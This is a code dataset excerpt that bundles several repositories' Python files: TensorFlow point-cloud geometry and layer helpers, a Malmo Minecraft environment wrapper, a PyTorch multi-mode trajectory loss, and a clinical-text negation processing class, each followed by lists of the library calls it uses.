axis=2, keepdims=True) # (N, P, 1, 3)\n nn_pts_local = tf.subtract(nn_pts, nn_pts_center) # (N, P, K, 3)\n sorting_data = tf.norm(nn_pts_local, axis=-1) # (N, P, K)\n else:\n print('Unknown sorting method!')\n exit()\n _, k_indices = tf.nn.top_k(sorting_data, k=k, sorted=True) # (N, P, K)\n batch_indices = tf.tile(tf.reshape(tf.range(batch_size), (-1, 1, 1, 1)), (1, point_num, k, 1))\n point_indices = tf.tile(tf.reshape(tf.range(point_num), (1, -1, 1, 1)), (batch_size, 1, k, 1))\n k_indices_4d = tf.expand_dims(k_indices, axis=3)\n sorting_indices = tf.concat([batch_indices, point_indices, k_indices_4d], axis=3) # (N, P, K, 3)\n return tf.gather_nd(indices, sorting_indices)\n\n\n# a b c\n# d e f\n# g h i\n# a(ei − fh) − b(di − fg) + c(dh − eg)\ndef compute_determinant(A):\n return A[..., 0, 0] * (A[..., 1, 1] * A[..., 2, 2] - A[..., 1, 2] * A[..., 2, 1]) \\\n - A[..., 0, 1] * (A[..., 1, 0] * A[..., 2, 2] - A[..., 1, 2] * A[..., 2, 0]) \\\n + A[..., 0, 2] * (A[..., 1, 0] * A[..., 2, 1] - A[..., 1, 1] * A[..., 2, 0])\n\n\n# A shape is (N, P, 3, 3)\n# return shape is (N, P, 3)\ndef compute_eigenvals(A):\n A_11 = A[:, :, 0, 0] # (N, P)\n A_12 = A[:, :, 0, 1]\n A_13 = A[:, :, 0, 2]\n A_22 = A[:, :, 1, 1]\n A_23 = A[:, :, 1, 2]\n A_33 = A[:, :, 2, 2]\n I = tf.eye(3)\n p1 = tf.square(A_12) + tf.square(A_13) + tf.square(A_23) # (N, P)\n q = tf.trace(A) / 3 # (N, P)\n p2 = tf.square(A_11 - q) + tf.square(A_22 - q) + tf.square(A_33 - q) + 2 * p1 # (N, P)\n p = tf.sqrt(p2 / 6) + 1e-8 # (N, P)\n N = tf.shape(A)[0]\n q_4d = tf.reshape(q, (N, -1, 1, 1)) # (N, P, 1, 1)\n p_4d = tf.reshape(p, (N, -1, 1, 1))\n B = (1 / p_4d) * (A - q_4d * I) # (N, P, 3, 3)\n r = tf.clip_by_value(compute_determinant(B) / 2, -1, 1) # (N, P)\n phi = tf.acos(r) / 3 # (N, P)\n eig1 = q + 2 * p * tf.cos(phi) # (N, P)\n eig3 = q + 2 * p * tf.cos(phi + (2 * math.pi / 3))\n eig2 = 3 * q - eig1 - eig3\n return tf.abs(tf.stack([eig1, eig2, eig3], axis=2)) # (N, P, 3)\n\n# A shape is (N, P, 3, 3)\n# return shape is (N, P, 3,3)\ndef compute_eigenvectors(A):\n # https://math.stackexchange.com/questions/2962480/general-form-for-eigenvector-of-a-3-by-3-symmetric-matrix\n N = tf.shape(A)[0]\n P = tf.shape(A)[1]\n eigvals = compute_eigenvals(A) \n \n tmp = tf.eye(3,batch_shape=(N,P))\n\n d0 = tf.reshape(eigvals[:,:,0],[N,P,1,1]) \n d1 = tf.reshape(eigvals[:,:,1],[N,P,1,1]) \n d2 = tf.reshape(eigvals[:,:,2],[N,P,1,1]) \n\n m0 = tf.multiply(d0,tmp)\n m1 = tf.multiply(d1,tmp)\n m2 = tf.multiply(d2,tmp)\n\n X = tf.random_uniform([N, P, 3, 1], minval=0, maxval=10,dtype=tf.float32)\n \n v0 = tf.matmul((A-m1), (A-m2))\n v0 = tf.matmul(v0,X)\n\n v1 = tf.matmul((A-m0), (A-m2))\n v1 = tf.matmul(v1,X)\n\n v2 = tf.matmul((A-m0), (A-m1))\n v2 = tf.matmul(v2,X)\n\n\n U = tf.concat([v0, v1, v2], axis=-1)\n U = tf.divide(U, tf.norm(U, axis=-2, keepdims = True))\n U = tf.transpose(U,perm=[0,1,3,2]) # to make sure that each row is a eigenvector\n\n return U\n\ndef compute_axis_z(A):\n # https://math.stackexchange.com/questions/2962480/general-form-for-eigenvector-of-a-3-by-3-symmetric-matrix\n N = tf.shape(A)[0]\n P = tf.shape(A)[1]\n eigvals = compute_eigenvals(A) # the smallest is the last one\n \n tmp = tf.eye(3,batch_shape=(N,P))\n\n d0 = tf.reshape(eigvals[:,:,0],[N,P,1,1]) \n d1 = tf.reshape(eigvals[:,:,1],[N,P,1,1]) \n\n m0 = tf.multiply(d0,tmp)\n m1 = tf.multiply(d1,tmp)\n\n X = tf.random_uniform([N, P, 3, 1], minval=0, maxval=10,dtype=tf.float32)\n\n v2 = tf.matmul((A-m0), (A-m1))\n v2 = tf.matmul(v2,X)\n\n axis_z = tf.divide(v2, tf.norm(v2, axis=-2, keepdims = True))\n # U = tf.transpose(U,perm=[0,1,3,2]) # to make sure that each row is a eigenvector\n\n return axis_z\n\n# P shape is (N, P, 3), N shape is (N, P, K, 3)\n# return shape is (N, P)\ndef compute_curvature(nn_pts):\n nn_pts_mean = tf.reduce_mean(nn_pts, axis=2, keepdims=True) # (N, P, 1, 3)\n nn_pts_demean = nn_pts - nn_pts_mean # (N, P, K, 3)\n nn_pts_NPK31 = tf.expand_dims(nn_pts_demean, axis=-1)\n covariance_matrix = tf.matmul(nn_pts_NPK31, nn_pts_NPK31, transpose_b=True) # (N, P, K, 3, 3)\n covariance_matrix_mean = tf.reduce_mean(covariance_matrix, axis=2) # (N, P, 3, 3)\n eigvals = compute_eigenvals(covariance_matrix_mean) # (N, P, 3)\n curvature = tf.reduce_min(eigvals, axis=-1) / (tf.reduce_sum(eigvals, axis=-1) + 1e-8)\n return curvature\n\n\ndef curvature_based_sample(nn_pts, k):\n curvature = compute_curvature(nn_pts)\n _, point_indices = tf.nn.top_k(curvature, k=k, sorted=False)\n\n pts_shape = tf.shape(nn_pts)\n batch_size = pts_shape[0]\n batch_indices = tf.tile(tf.reshape(tf.range(batch_size), (-1, 1, 1)), (1, k, 1))\n indices = tf.concat([batch_indices, tf.expand_dims(point_indices, axis=2)], axis=2)\n return indices\n\n\ndef random_choice_2d(size, prob_matrix):\n n_row = prob_matrix.shape[0]\n n_col = prob_matrix.shape[1]\n choices = np.ones((n_row, size), dtype=np.int32)\n for idx_row in range(n_row):\n choices[idx_row] = np.random.choice(n_col, size=size, replace=False, p=prob_matrix[idx_row])\n return choices\n\n\ndef inverse_density_sampling(points, k, sample_num):\n D = batch_distance_matrix(points)\n distances, _ = tf.nn.top_k(-D, k=k, sorted=False)\n distances_avg = tf.abs(tf.reduce_mean(distances, axis=-1)) + 1e-8\n prob_matrix = distances_avg / tf.reduce_sum(distances_avg, axis=-1, keepdims=True)\n point_indices = tf.py_function(random_choice_2d, [sample_num, prob_matrix], tf.int32)\n point_indices.set_shape([points.get_shape()[0], sample_num])\n\n batch_size = tf.shape(points)[0]\n batch_indices = tf.tile(tf.reshape(tf.range(batch_size), (-1, 1, 1)), (1, sample_num, 1))\n indices = tf.concat([batch_indices, tf.expand_dims(point_indices, axis=2)], axis=2)\n return indices\n\n\ndef batch_normalization(data, is_training, name, reuse=None):\n return tf.layers.batch_normalization(data, momentum=0.99, training=is_training,\n beta_regularizer=tf.contrib.layers.l2_regularizer(scale=1.0),\n gamma_regularizer=tf.contrib.layers.l2_regularizer(scale=1.0),\n reuse=reuse, name=name)\n\n\ndef separable_conv2d(input, output, name, is_training, kernel_size, depth_multiplier=1,\n reuse=None, with_bn=True, activation=tf.nn.elu):\n conv2d = tf.layers.separable_conv2d(input, output, kernel_size=kernel_size, strides=(1, 1), padding='VALID',\n activation=activation,\n depth_multiplier=depth_multiplier,\n depthwise_initializer=tf.glorot_normal_initializer(),\n pointwise_initializer=tf.glorot_normal_initializer(),\n depthwise_regularizer=tf.contrib.layers.l2_regularizer(scale=1.0),\n pointwise_regularizer=tf.contrib.layers.l2_regularizer(scale=1.0),\n reuse=reuse, name=name, use_bias=not with_bn)\n return batch_normalization(conv2d, is_training, name + '_bn', reuse) if with_bn else conv2d\n\n\ndef depthwise_conv2d(input, depth_multiplier, name, is_training, kernel_size,\n reuse=None, with_bn=True, activation=tf.nn.elu):\n conv2d = tf.contrib.layers.separable_conv2d(input, num_outputs=None, kernel_size=kernel_size, padding='VALID',\n activation_fn=activation,\n depth_multiplier=depth_multiplier,\n weights_initializer=tf.glorot_normal_initializer(),\n weights_regularizer=tf.contrib.layers.l2_regularizer(scale=1.0),\n biases_initializer=None if with_bn else tf.zeros_initializer(),\n biases_regularizer=None if with_bn else tf.contrib.layers.l2_regularizer(\n scale=1.0),\n reuse=reuse, scope=name)\n return batch_normalization(conv2d, is_training, name + '_bn', reuse) if with_bn else conv2d\n\n\ndef conv2d(input, output, name, is_training, kernel_size,\n reuse=None, with_bn=True, activation=tf.nn.elu):\n conv2d = tf.layers.conv2d(input, output, kernel_size=kernel_size, strides=(1, 1), padding='VALID',\n activation=activation,\n kernel_initializer=tf.glorot_normal_initializer(),\n kernel_regularizer=tf.contrib.layers.l2_regularizer(scale=1.0),\n reuse=reuse, name=name, use_bias=not with_bn)\n return batch_normalization(conv2d, is_training, name + '_bn', reuse) if with_bn else conv2d\n\n\ndef dense(input, output, name, is_training, reuse=None, with_bn=True, activation=tf.nn.relu):\n dense = tf.layers.dense(input, units=output, activation=activation,\n kernel_initializer=tf.glorot_normal_initializer(),\n kernel_regularizer=tf.contrib.layers.l2_regularizer(scale=1.0),\n reuse=reuse, name=name, use_bias=not with_bn)\n return batch_normalization(dense, is_training, name + '_bn', reuse) if with_bn else dense\n" ]
[ [ "tensorflow.reduce_min", "numpy.random.choice", "tensorflow.matmul", "tensorflow.reshape", "tensorflow.py_function", "tensorflow.sqrt", "tensorflow.clip_by_value", "tensorflow.stack", "tensorflow.cast", "numpy.full_like", "tensorflow.square", "numpy.full", "tensorflow.shape", "numpy.empty", "tensorflow.concat", "tensorflow.subtract", "tensorflow.random_uniform", "tensorflow.transpose", "tensorflow.norm", "tensorflow.constant", "numpy.expand_dims", "tensorflow.range", "tensorflow.zeros", "tensorflow.eye", "tensorflow.expand_dims", "tensorflow.gather_nd", "tensorflow.cos", "numpy.fill", "numpy.stack", "tensorflow.reduce_sum", "tensorflow.nn.top_k", "tensorflow.acos", "tensorflow.contrib.layers.l2_regularizer", "tensorflow.trace", "tensorflow.zeros_initializer", "tensorflow.multiply", "tensorflow.glorot_normal_initializer", "numpy.ones", "tensorflow.reduce_max", "tensorflow.reduce_mean", "numpy.diag", "numpy.unique" ] ]
YupengGao/malmo-challenge
[ "5ff93364bccb6d3b1dbf7aaa22eb052c669bc7ff" ]
[ "malmopy/environment/malmo/malmo.py" ]
[ "# Copyright (c) 2017 Microsoft Corporation.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n# documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,\n# and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all copies or substantial portions of\n# the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO\n# THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ===================================================================================================================\n\nfrom __future__ import absolute_import\n\nimport json\nimport xml.etree.ElementTree\nfrom MalmoPython import AgentHost, ClientPool, ClientInfo, MissionSpec, MissionRecordSpec\nfrom collections import Sequence\nfrom time import sleep\n\nimport six\nfrom PIL import Image\nfrom numpy import zeros, log\n\nfrom ..environment import VideoCapableEnvironment, StateBuilder\n\n\ndef allocate_remotes(remotes):\n \"\"\"\n Utility method for building a Malmo ClientPool.\n Using this method allows sharing the same ClientPool across\n mutiple experiment\n :param remotes: tuple or array of tuples. Each tuple can be (), (ip,), (ip, port)\n :return: Malmo ClientPool with all registered clients\n \"\"\"\n if not isinstance(remotes, list):\n remotes = [remotes]\n\n pool = ClientPool()\n for remote in remotes:\n if isinstance(remote, ClientInfo):\n pool.add(remote)\n elif isinstance(remote, Sequence):\n if len(remote) == 0:\n pool.add(ClientInfo('localhost', 10000))\n elif len(remote) == 1:\n pool.add(ClientInfo(remote[0], 10000))\n else:\n pool.add(ClientInfo(remote[0], int(remote[1])))\n return pool\n\n\nclass TurnState(object):\n def __init__(self):\n self._turn_key = None\n self._has_played = False\n\n def update(self, key):\n self._has_played = False\n self._turn_key = key\n\n @property\n def can_play(self):\n return self._turn_key is not None and not self._has_played\n\n @property\n def key(self):\n return self._turn_key\n\n @property\n def has_played(self):\n return self._has_played\n\n @has_played.setter\n def has_played(self, value):\n self._has_played = bool(value)\n\n\nclass MalmoStateBuilder(StateBuilder):\n \"\"\"\n Base class for specific state builder inside the Malmo platform.\n The #build method has access to the currently running environment and all\n the properties exposed to this one.\n \"\"\"\n\n def __call__(self, *args, **kwargs):\n assert isinstance(args[0], MalmoEnvironment), 'provided argument should inherit from MalmoEnvironment'\n return self.build(*args)\n\n\nclass MalmoRGBStateBuilder(MalmoStateBuilder):\n \"\"\"\n Generate RGB frame state resizing to the specified width/height and depth\n \"\"\"\n\n def __init__(self, width, height, grayscale):\n assert width > 0, 'width should be > 0'\n assert width > 0, 'height should be > 0'\n\n self._width = width\n self._height = height\n self._gray = bool(grayscale)\n\n def build(self, environment):\n import numpy as np\n\n img = environment.frame\n\n if img is not None:\n img = img.resize((self._width, self._height))\n\n if self._gray:\n img = img.convert('L')\n return np.array(img)\n else:\n return zeros((self._width, self._height, 1 if self._gray else 3)).squeeze()\n\n\nclass MalmoALEStateBuilder(MalmoRGBStateBuilder):\n \"\"\"\n Commodity class for generating Atari Learning Environment compatible states.\n\n Properties:\n - depth: Grayscale image\n - width: 84\n - height: 84\n\n return (84, 84) numpy array\n \"\"\"\n\n def __init__(self):\n super(MalmoALEStateBuilder, self).__init__(84, 84, True)\n\n\nclass MalmoEnvironment(VideoCapableEnvironment):\n \"\"\"\n Interaction with Minecraft through the Malmo Mod.\n \"\"\"\n\n MAX_START_MISSION_RETRY = 50\n\n def __init__(self, mission, actions, remotes,\n role=0, exp_name=\"\", turn_based=False,\n recording_path=None, force_world_reset=False):\n\n assert isinstance(mission, six.string_types), \"mission should be a string\"\n super(MalmoEnvironment, self).__init__()\n\n self._agent = AgentHost()\n self._mission = MissionSpec(mission, True)\n\n # validate actions\n self._actions = actions\n assert actions is not None, \"actions cannot be None\"\n assert isinstance(actions, Sequence), \"actions should be an iterable object\"\n assert len(actions) > 0, \"len(actions) should be > 0\"\n\n # set up recording if requested\n if recording_path:\n self._recorder = MissionRecordSpec(recording_path)\n self._recorder.recordCommands()\n self._recorder.recordMP4(12, 400000)\n self._recorder.recordRewards()\n self._recorder.recordObservations()\n else:\n self._recorder = MissionRecordSpec()\n\n self._clients = allocate_remotes(remotes)\n\n self._force_world_reset = force_world_reset\n self._role = role\n self._exp_name = exp_name\n self._turn_based = bool(turn_based)\n self._turn = TurnState()\n\n self._world = None\n self._world_obs = None\n self._previous_action = None\n self._last_frame = None\n self._action_count = None\n self._end_result = None\n\n @property\n def available_actions(self):\n return len(self._actions)\n\n @property\n def state(self):\n raise NotImplementedError()\n\n @property\n def end_result(self):\n return self._end_result\n\n @property\n def reward(self):\n return 0.\n\n @property\n def done(self):\n latest_ws = self._agent.peekWorldState()\n return latest_ws.has_mission_begun and not latest_ws.is_mission_running\n\n @property\n def action_count(self):\n return self._action_count\n\n @property\n def previous_action(self):\n return self._previous_action\n\n @property\n def frame(self):\n latest_ws = self._agent.peekWorldState()\n\n if hasattr(latest_ws, 'video_frames') and len(latest_ws.video_frames) > 0:\n self._last_frame = latest_ws.video_frames[-1]\n\n return Image.frombytes('RGB',\n (self._last_frame.width, self._last_frame.height),\n bytes(self._last_frame.pixels))\n\n @property\n def recording(self):\n return super(MalmoEnvironment, self).recording\n\n @recording.setter\n def recording(self, val):\n self._recording = bool(val)\n\n if self.recording:\n if not self._mission.isVideoRequested(0):\n self._mission.requestVideo(212, 160)\n\n @property\n def is_turn_based(self):\n return self._turn_based\n\n @property\n def world_observations(self):\n latest_ws = self._agent.peekWorldState()\n if latest_ws.number_of_observations_since_last_state > 0:\n self._world_obs = json.loads(latest_ws.observations[-1].text)\n\n return self._world_obs\n\n def _ready_to_act(self, world_state):\n if not self._turn_based:\n return True\n else:\n if not world_state.is_mission_running:\n return False\n\n if world_state.number_of_observations_since_last_state > 0:\n data = json.loads(world_state.observations[-1].text)\n turn_key = data.get(u'turn_key', None)\n\n if turn_key is not None and turn_key != self._turn.key:\n self._turn.update(turn_key)\n return self._turn.can_play\n\n def do(self, action_id):\n assert 0 <= action_id <= self.available_actions, \\\n \"action %d is not valid (should be in [0, %d[)\" % (action_id,\n self.available_actions)\n action = self._actions[action_id]\n assert isinstance(action, six.string_types)\n\n if self._turn_based:\n if self._turn.can_play:\n self._agent.sendCommand(str(action), str(self._turn.key))\n self._turn.has_played = True\n self._previous_action = action\n self._action_count += 1\n else:\n self._agent.sendCommand(action)\n self._previous_action = action\n self._action_count += 1\n\n self._await_next_obs()\n return self.state, sum([reward.getValue() for reward in self._world.rewards]), self.done\n\n def reset(self):\n super(MalmoEnvironment, self).reset()\n\n if self._force_world_reset:\n self._mission.forceWorldReset()\n\n self._world = None\n self._world_obs = None\n self._previous_action = None\n self._action_count = 0\n self._turn = TurnState()\n self._end_result = None\n\n # Wait for the server (role = 0) to start\n sleep(.5)\n\n for i in range(MalmoEnvironment.MAX_START_MISSION_RETRY):\n try:\n self._agent.startMission(self._mission,\n self._clients,\n self._recorder,\n self._role,\n self._exp_name)\n break\n except Exception as e:\n if i == MalmoEnvironment.MAX_START_MISSION_RETRY - 1:\n raise Exception(\"Unable to connect after %d tries %s\" %\n (self.MAX_START_MISSION_RETRY, e))\n else:\n sleep(log(i + 1) + 1)\n\n # wait for mission to begin\n self._await_next_obs()\n return self.state\n\n def _await_next_obs(self):\n \"\"\"\n Ensure that an update to the world state is received\n :return:\n \"\"\"\n # Wait until we have everything we need\n current_state = self._agent.peekWorldState()\n while not self.is_valid(current_state) or not self._ready_to_act(current_state):\n\n if current_state.has_mission_begun and not current_state.is_mission_running:\n if not current_state.is_mission_running and len(current_state.mission_control_messages) > 0:\n # Parse the mission ended message:\n mission_end_tree = xml.etree.ElementTree.fromstring(current_state.mission_control_messages[-1].text)\n ns_dict = {\"malmo\": \"http://ProjectMalmo.microsoft.com\"}\n hr_stat = mission_end_tree.find(\"malmo:HumanReadableStatus\", ns_dict).text\n self._end_result = hr_stat\n break\n\n # Peek fresh world state from socket\n current_state = self._agent.peekWorldState()\n\n # Flush current world as soon as we have the entire state\n self._world = self._agent.getWorldState()\n\n if self._world.is_mission_running:\n new_world = json.loads(self._world.observations[-1].text)\n if new_world is not None:\n self._world_obs = new_world\n\n # Update video frames if any\n if hasattr(self._world, 'video_frames') and len(self._world.video_frames) > 0:\n self._last_frame = self._world.video_frames[-1]\n\n def is_valid(self, world_state):\n \"\"\"\n Check whether the provided world state is valid.\n @override to customize checks\n \"\"\"\n\n # observation cannot be empty\n return world_state is not None \\\n and world_state.has_mission_begun \\\n and len(world_state.observations) > 0 \\\n and (len(world_state.rewards) > 0 or self._action_count == 0)\n\n" ]
[ [ "numpy.log", "numpy.array", "numpy.zeros" ] ]
SambaranRepo/VectorNet_Waymo
[ "454016a5020444e78943786c14e4e12a75ce052e" ]
[ "utils/MTP_loss.py" ]
[ "import torch\n\n\n# pos_preds is (N_actors, N_modes, T, 2)\n# probs is (N_modes)\n# GT is (N_actors, T, 2)\ndef multi_mode_loss_L2(pos_preds, probs, GT):\n pred_size = list(pos_preds.size())\n T = pred_size[2]\n \n GT = GT[:,None,:,:]\n \n # shape (N_actors, N_modes, T, 2)\n sq_dif = torch.square(pos_preds - GT)\n # shape (N_actors, N_modes, T)\n L2_per_timestep = torch.sqrt(torch.sum(sq_dif, 3))\n # shape (N_actors, N_modes)\n ADE_per_actor_per_mode_per_ten = torch.sum(L2_per_timestep[:, :, range(0, T, 10)], 2) / T * 10\n ADE_per_actor_per_mode = torch.sum(L2_per_timestep, 2) / T\n # shape (N_modes)\n ADE_per_mode = torch.sum(ADE_per_actor_per_mode, 0)\n # shape (,)\n best_mode = torch.argmin(ADE_per_mode, 0).type(torch.LongTensor).cuda()\n min_ADE = torch.index_select(ADE_per_mode, 0, best_mode)\n min_ADE_prob = torch.index_select(probs, 0, best_mode)\n min_ADE_CrossEnt = -1*torch.log(min_ADE_prob+1e-5)\n \n return min_ADE, min_ADE_CrossEnt\n" ]
[ [ "torch.square", "torch.argmin", "torch.index_select", "torch.log", "torch.sum" ] ]
bagheria/Prep
[ "e7bff974cc0c3bee8121283901828c37e16fab27" ]
[ "negation/structure2/varObject.py" ]
[ "from abc import ABC, abstractmethod\nimport re\nimport pandas as pd\nfrom pprint import pprint\nfrom collections import abc\n\nfrom negation.structure2 import batch, constants, factory, modObject, patientObject\n\n\n# Master Class\nclass varObject(abc.Collection):\n def __init__(self):\n self.objects = []\n # self.objects_tag = []\n # self.objects_mod = []\n \n def _addTargetTag(self, tagObject):\n \"\"\"Adds tagobject, and dictionary of mods,\n as dictionary to self.objects list:\n self.objects = [\n {\n \"instance\" : tagObject, \n \"mods\" : \n {\n \"negation\" : negMod, \n \"date\" : dateMod,\n etc\n }\n },\n {\n \"instance\" : tagObject, \n \"mods\" : \n {\n \"negation\" : negMod, \n \"date\" : dateMod,\n etc\n }\n }\n ]\n \"\"\"\n # \"\"\"Adds tagObject to end of self.objects list.\n # Also adds modObjects of each type to self.objects_mod\n # \"\"\"\n # self.objects_tag.append(tagObject)\n # self.objects_mod.append(fact.createModObject())\n\n # Put everything in \n self.objects.append({\n \"instance\" : tagObject, \n \"mods\" : fact.createModObject()})\n\n def _addModifiers(self, mods):\n for mod in mods:\n cat = mod[\"category\"]\n\n # Translate cat into modifier type:\n found = False\n # Lookup in which modObject subclass this cat belongs\n for key, list in constants.mod_type_dict.items():\n if cat in list:\n type = key\n # select last dict from mod object list:\n self.objects[-1][\"mods\"][type]._addModifierTag(mod)\n found = True\n # Can skip remainder of loop\n break\n \n # If type for this mod not found:\n if not found:\n raise Exception(\"categoryString of mod was not recognized\")\n \n def __str__(self):\n result = []\n for i in self.objects: \n result.append(i[\"instance\"])\n return(str(result))\n\n def isEmpty(self):\n if self.objects: return False\n else: return True\n\n def __contains__(self, x):\n for i in self.objects:\n if x in i[\"instance\"].values():\n return(True)\n # if x[1] == i[\"instance\"][x[0]]:\n # return(True)\n return(False)\n\n def __iter__(self):\n \"\"\"Iterates over self.objects list and returns:\n (var, varObject)\n \"\"\"\n for i in self.objects:\n yield (i[\"instance\"], i[\"mods\"])\n\n\n\n # def __next__(self):\n # if self._n <= len(self.objects):\n # result = self.objects[1]\n # self.n += 1\n # return result\n # else:\n # raise StopIteration \n\n def __len__(self):\n \"\"\"Returns the number of instances\n \"\"\"\n return(len(self.objects))\n \n def _getType(self):\n return(str(type(self).__name__))\n\n def getDataframe(self):\n \"\"\"Returns dataframe of varObject\"\"\"\n # If no findings, return empty dataframe\n if len(self) == 0:\n return(pd.DataFrame())\n\n ls = []\n for index, i in enumerate(self.objects):\n # Per instance, gather var information\n data = i[\"instance\"]\n # var_index = str(self._getType()+str(index))\n var_index = str(i[\"instance\"][\"var\"]+str(index))\n data.update({\"index\" : var_index})\n serie = pd.Series(data)\n df_var = pd.DataFrame([serie])\n df_var = df_var.add_prefix(\"var_\")\n\n # Determine number of mod combinations, so number of rows\n n_mod_comb = sum([len(mod) for mod in i[\"mods\"].values()])\n \n # If there are no mods, return current df\n if n_mod_comb == 0:\n ls.append(df_var)\n\n # Paste mod info to dataframe as new columns\n else:\n # Gather all modifier information \n df_mods = []\n for mod in i[\"mods\"].values():\n if not mod.isEmpty():\n df_mods.append(mod.getDataframe())\n df_mods = pd.concat(df_mods, axis=0, ignore_index=True)\n \n # Combine dataframes:\n # Only if mods are present\n\n if len(df_mods) == 0:\n raise Exception(\n \"df_mod contains no rows\")\n # Multiply rows of vars to match number of mods\n df_var = pd.concat([df_var]*n_mod_comb, ignore_index=True)\n # Combine var columns with mod columns\n df_comb = pd.concat([df_mods, df_var], axis=1)\n # Add var df to list\n ls.append(df_comb)\n\n # concatenate rows of dataframes into 1 dataframe\n df = pd.concat(ls, axis=0, ignore_index=True, sort=False)#.reset_index()\n # Set dict keys as column names instead of row indeces.\n # df = df.transpose()\n\n return(df)\n\n def process(self):\n # Activate processing of mod objects:\n for i in self.objects:\n for mod in i[\"mods\"].values():\n mod.process()\n\n # Process information in var level:\n self._addInfo()\n\n @abstractmethod\n def _addInfo(self):\n pass\n\n def getSummary(self):\n \"\"\"Combines summary of mods with var findings.\n Number of rows is number of instances of var found\n \"\"\"\n ls = []\n for i in self.objects:\n # Get info of varObject\n var_dict = i[\"instance\"]\n\n # Get summary info of mods\n mods_sum_dict = self._getSummaryMods(i[\"mods\"])\n\n dict_comb = {**var_dict , **mods_sum_dict}\n ls.append(dict_comb)\n\n df = pd.DataFrame(ls)\n return(df)\n\n def _getSummaryMods(self, mod_dict):\n \"\"\"Returns a 1 row df with summary information of one finding's mods\n \"\"\"\n summaries_dict = {}\n for type, mod_obj in mod_dict.items():\n summaries_dict.update(mod_obj._summarize())\n \n return(summaries_dict)\n # df = pd.DataFrame.from_dict([summaries_dict], orient=\"columns\")\n # return(df)\n\n\n # @abstractmethod\n # def _summarize(self):\n # pass\n\n# Binary\nclass binVar(varObject):\n def __init__(self):\n super().__init__()\n\n def _summarize(self):\n pass\n\n def _addInfo(self):\n \"\"\"Nothing to process, all info is in modifiers\n for binary risk variables\n \"\"\"\n pass\n\n def _summarize(self):\n \"\"\"Processes summary information for this varObject\"\"\"\n findings = []\n negs = []\n # findings = [find for find, mod_dict in self]\n for find, mod_dict in self:\n findings.append(find)\n negs.append(mod_dict[\"negation\"])\n\n # Number of observations\n n = len(findings)\n\n # Handle conflicts between vars which are negated or not negated\n neg_set = set([i[\"isNegated\"] for i in negs])\n if len(neg_set) == 0:\n isNegated = False\n negConflict = False\n elif len(neg_set) > 1:\n isNegated = None\n negConflict = True\n elif len(neg_set) == 1:\n isNegated = list(neg_set)[0]\n negConflict = False\n else:\n raise Exception()\n\n # return as dictionary\n prefix = \"var_\"\n return({\n f\"{prefix}n\" : n,\n f\"{prefix}conflict\" : conflict,\n f\"{prefix}isNegated\" : isNegated\n })\n\n# Factorial\nclass factVar(varObject):\n def __init__(self):\n super().__init__()\n\n def _summarize(self):\n \"\"\"Process information about the findings for this var\n \"\"\"\n # Prep data\n findings = []\n negs = []\n # findings = [find for find, mod_dict in self]\n for find, mod_dict in self:\n findings.append(find)\n negs.append(mod_dict[\"negation\"])\n\n # Number of observations\n n = len(findings)\n\n # Factors\n factor_set = set([val[\"factor\"] for val in findings])\n\n # Mods:\n # Negation\n neg_set = set([i[\"isNegated\"] for i in negs])\n\n\n\n def _addInfo(self):\n \"\"\" Processes subtype into factor and corresponding integer\n \"\"\"\n for i in self.objects:\n # get factor string\n factor = i[\"instance\"][\"subtype\"]\n \n # Process factor string into factor integer\n fact_int = self._nyha_to_int(factor)\n\n # Update dictionary with new variables:\n i[\"instance\"].update({\n \"factor\" : factor,\n \"factInt\" : fact_int\n })\n\n def _nyha_to_int(self, string):\n for j in constants.nyha_factors:\n if string == j[0]:\n integer = j[1]\n return(integer)\n # If no string was recognized after looping through list:\n raise Exception(\n \"String not recognized as NYHA factor\",\n \"factor:\", string)\n \n\n\n# Numeric\nclass numVar(varObject):\n def __init__(self):\n super().__init__()\n\n def _summarize(self):\n pass\n\n def _getVef(self, phrase):\n \"\"\"Returns list with one value, or two values in case of a range\n \"\"\"\n # Search for pattern with outer characters digits\n string = re.search(pattern = r\"\\d(.*)\\d\", string = phrase)\n if string is None:\n raise Exception(\n \"No value found when searching in phrase of numeric variable\",\n phrase)\n # If there are no other other characters within string \n # that are no digits, value is just the string \n if re.search(pattern=r\"\\D\", string=string.group()) is None:\n return([int(string.group())])\n\n # Else, it is a range, so split up values\n else:\n values = re.findall(pattern = r\"\\d+\", string=string.group())\n range_list = []\n for value in values: range_list.append(int(value))\n if len(range_list) != 2:\n raise Exception(\"Phrase recognized as range, but no 2 values\",\n phrase, string.group(), values, range_list)\n return(range_list)\n\n\n def _getSbp(self, phrase):\n \"Returns list with value\"\n string = re.search(pattern = r\"\\d{2,3}(?=/(\\d{2,3}))\", string = phrase)\n if string is None:\n raise Exception(\n \"No value found when searching in phrase of numeric variable\",\n self.phrase)\n else:\n return([int(string.group())])\n\n def _addInfo(self):\n \"\"\"Processes information and adds it to dictionary of instance;\n self.objects[i][\"instance\"]\n \"\"\"\n for i in self.objects:\n data = i[\"instance\"]\n # Get values\n if data[\"var\"] == \"vef\":\n values = self._getVef(data[\"phrase\"])\n elif data[\"var\"] == \"sbp\":\n values = self._getSbp(data[\"phrase\"])\n else:\n raise Exception(\n \"Numeric var finding category not recognized\",\n \"var:\", data[\"var\"],\n \"phrase:\", data[\"phrase\"])\n\n\n # Check if list\n if len(values) > 1:\n isRange = True\n else: isRange = False\n\n # update information:\n data.update({\n \"values\" : values,\n \"isRange\" : isRange\n })\n i[\"instance\"] = data\n\n \n\nfact = factory.Factory()" ]
[ [ "pandas.DataFrame", "pandas.Series", "pandas.concat" ] ]
BjarkePedersen/simpletransformers
[ "1a2fecdba5485c6d31c646ef83734389796c0f4b" ]
[ "simpletransformers/seq2seq/seq2seq_model.py" ]
